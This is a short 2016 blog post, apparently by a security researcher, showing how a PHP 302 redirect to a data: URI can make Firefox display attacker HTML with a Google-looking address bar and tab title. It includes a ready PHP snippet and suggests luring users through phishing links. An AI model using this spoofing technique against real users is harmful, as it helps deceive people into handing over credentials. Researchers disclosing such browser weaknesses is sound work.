lundi 12 décembre 2016

Yet another phishing in Firefox with data URI and 302 redirect

1/ Introduction

Little known fact: you can redirect HTTP to a data URI.

2/ Let's have fun with redirect

Create a php file:
 header("Location: data:text,Hello World");  
and serve it for Firefox. In all its glory, Firefox will print "Hello World!"

3/ Enhance with phishing

And yes, you can use HTML instead of pure text. And with HTML, you can do what you want. And the beginning of the data: URI will be printed in the adress bar. Looks good for having fun.
  • First, add HTML capabilities:
  • Second, trick user in address bar, because address bar will print the content of data: scheme: 
  • Third, add some HTML (and clean up)
    <HTML><html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html>
  • Fourth, be nice by adding a pretty thing in Tab bar of Firefox: Google

4/ Ready to go:

Create a php file like this:

 $data_uri = "data:text/html,";  
 $decoy = "";  
 $evil_html = "<html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html>";  
 $pretty_tab_print = "Google";  
 $redirect_url = $data_uri . $decoy . $evil_html . $pretty_tab_print;  
 header("Location: " . $redirect_url);  

And trick a user to go to this page (you know, phishing stuff, with or any url shortener):

A click on this php file served through a webserver will drive you to:

4/ Is it something new?

Well, yes and no.
Phishing with data URI is known for a veeery long time. A paper has been published some time ago
this is the same idea, I've added the vector with the 302 Redirect.

It's not a big deal, if you're tricked by this, you can be tricked by anything else.

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